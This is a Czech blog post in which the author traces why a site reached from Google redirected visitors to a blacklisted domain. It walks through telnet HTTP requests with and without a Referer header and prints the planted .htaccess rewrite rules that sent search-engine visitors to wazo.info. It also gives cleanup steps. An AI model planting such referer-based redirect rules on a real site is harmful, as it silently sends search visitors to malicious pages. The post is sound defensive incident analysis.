Po dlouhé době jsem se zase podíval na stránky Most do Říše snů a první, nač mi oči padly, byla tato červeně napsaná zpráva: „30.01.2009 Pozor, při vyhedání odkazu na Most do Říše snů pomocí Google se někdy po kliknutí na odkaz objeví zpráva, že odkaz vede na jakési stránky se závadným obsahem. Je to nějaká levota způsobená zvenčí - dělá to jen Google, mohu-li posoudit. Adresu stránky stačí zkopírovat do prohlížeče a normálně se otevře. Co je to ale za sviňárnu a komu ku prospěchu, kdo ví ...“
No toto? Hned jsem to vyzkoušel - zadal jsem do Google http://druidova.mysteria.cz, klikl na první odkaz a opravdu! Místo správné url se v adresním řádku objevilo http://wazo.info/0/go.php?sid=2 a Firefox stránku zablokoval, protože je nahlášená kdesi v seznamu závadných adres:
Takže kam nám to Google vlastně odkazuje? Přejetí myší přes odkaz se tváří zcela nevinně a vypisuje správnou adresu, ale to nic neznamená, může tam být javascript. Vypomůžeme si rozšířením TamperData ve Firefoxu, které zaznamená všechny http požadavky. Jsou tři:
adresa | výsledek |
---|---|
http://www.google.com/url?sa=T &source=web&ct=res&cd=1 &url=http://Fdruidova.mysteria.cz/ &ei=aJCDSYfzNcOe_ga948jFDg | 204 - žádný obsah |
http://druidova.mysteria.cz | 302 - přesměrování |
http://wazo.info/0/go.php?sid=2 | pending (asi kvůli zablokování) |
To jsou věci. Takže Google sice dělá javascriptem nějakou svou statistiku, ale pak se provede normální odkaz. Redirect na závadnou stránku vrací až server druidova.mysteria.cz. Ale jen v případě, že návštěvník přichází z Google, při přímém přístupu nikoliv. Čím se liší odkaz ze stránky od zadání adresy? Odkaz s sebou nese informaci o původní stránce (odkud je odkazováno) v hlavičce „referer“. Musíme to prověřit. Pomocí rozšíření TamperData by to šlo, ale nemusí ho mít nainstalované každý (o Firefoxu nemluvě), takže použijeme telnet a zopakujeme si základy protokolu HTTP.
Telnet je komunikační protokol, který přes TCP spojení posílá a přijímá znaky a proto se dá využít ke kontrole „znakových“ protokolů vyšší úrovně, jako je webový HTTP nebo třeba poštovní SMTP. Samozřejmě pokud známe jejich syntaxi - ale u HTTP je velmi jednoduchá. Na prvním řádku se napíše příkaz, následovaný relativní adresou stránek a verzí protokolu HTTP. Na dalších řádcích se napíší hlavičky a jejich hodnoty, oddělené dvojtečkou. V hlavičkách se posílá upřesnění požadavku, např. host - kdyby jeden server fungoval pro několik různých adres, musíme mu říct na kterou se ptáme. Pak následuje prázdný řádek - a to je vše. Odpověď od serveru je obdobná, na prvním řádku protokol a výsledný kód operace (200 znamená vše OK), pak hlavičky a po prázdném řádku text stránky.
Zkusíme nejprve dotaz na kořenovou stránku (/) na serveru druidova.mysteria.cz. Do příkazového řádku zadáme telnet druidova.mysteria.cz 80
(port 80 je vyhrazen pro http protokol), tím jsme se připojili a píšeme http požadavek (pozor na ty prázdné řádky, jsou povinné):
GET / HTTP/1.0
Host:druidova.mysteria.cz
Odpověď je v pořádku:
HTTP/1.1 200 OK
Date: Fri, 30 Jan 2009 23:51:09 GMT
Server: Apache
Last-Modified: Mon, 12 Jan 2009 18:27:09 GMT
ETag: "34069e01-22e6-412c1940"
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
<html>
(...)
Teď vyzkoušíme požadavek tak, jak by přišel ze stránky Google, tj. s hlavičkou referer. Znovu spustíme telnet druidova.mysteria.cz 80
a vložíme:
GET / HTTP/1.0
Host:druidova.mysteria.cz
Referer:http://www.google.cz/search?q=+Most+do+%C5%98%C3%AD%C5%A1e+sn%C5%AF
V odpovědi je přesměrování na novou lokaci:
HTTP/1.1 302 Found
Date: Fri, 30 Jan 2009 23:50:01 GMT
Server: Apache
Location: http://wazo.info/0/go.php?sid=2
Content-Length: 285
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head><title>302 Found</title></head>
<body>
<h1>Found</h1>
<p>The document has moved <a href="http://wazo.info/0/go.php?sid=2">here</a>.</p>
<hr><address>Apache Server at druidova.mysteria.cz Port 80</address>
</body></html>
No fuj. Nakonec prověříme, jestli se to děje i při odkazech odjinud, třeba z tohoto blogu:
GET / HTTP/1.0
Host:druidova.mysteria.cz
Referer:http://blog.wuwej.net
Odpověď je zase v pořádku:
HTTP/1.1 200 OK
Date: Fri, 30 Jan 2009 23:51:39 GMT
Server: Apache
(...)
To jsou věci, že? Takže server mysteria.cz je zkompromitovaný, má narušenou konfiguraci Apache a to tak, že se snaží poškodit příchozí z google.com. Myslím, že by to mohlo být i v "místní" konfiguraci Apache, v souboru .htaccess, který umožní měnit konfiguraci pro ten který adresář na serveru (využil jsem to i na blogu pro blokování obrázků).
Svoje závěry jsem Vlku Samotáři z Mostu napsal a skutečně - našel tam .htaccess s obsahem:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://wazo.info/0/go.php?sid=2 [R,L]
Tak ho na serveru vymazal - a přestal mu fungovat přístup z jeho počítače. Chvíli se na stránky nedostal vůbec, chvíli viděl hlášení o závadném obsahu, vymazání cookies nepomohlo. To už vypadalo na infekci pracovní stanice malwarem (a také by to vysvětlilo, jak se závadný .htaccess soubor mohl dostat na server a pouze pro druidova.mysteria.cz). Jaká byla rada? Zkontrolovat system32/driver/etc/hosts a pak projet systém adAwarem a SpyBotem. A možná i antivirem...
Tipnete si výsledek? Systém víceméně v pořádku, hosts také - ale z Firefoxu se na Most nedalo dostat už ani zadáním URL, a to dokonce ani odjinud. Podle všeho se opakovanými redirecty na závadné stránky dostala mezi seznam problematických domén i přímo adresa druidova.mysteria.cz. Při bližším prohlédnutí stránky s informacemi najdeme odkaz na diagnostickou stránku bezpečného brouzdání (ejhle, i za ní stojí Google a Firefox ji jen používá). V posledním odstavci se píše, že si lze vyžádat překontrolování:
„Jste-li majitelem těchto webových stránek, můžete požádat o kontrolu svých stránek pomocí Nástrojů pro webmastery Google. Další informace o této kontrole jsou k dispozici v Centru nápovědy pro webmastery.“ Co konkrétně to znamená je v helpu:
Tohle už ale záleží jen na Google...
Aktualizace 9.2.2009: nové prověření obsahu trvalo tři dny, ale nakonec dopadlo dobře a na Most do říše snů se zase dá dostat bez problémů.
Hodnocení hvězdičkami používá jako prevenci
opakovaného kliknutí anonymní cookie.
Pokud s tím nesouhlasíte, neklikejte.
Další podrobnosti k cookies zde.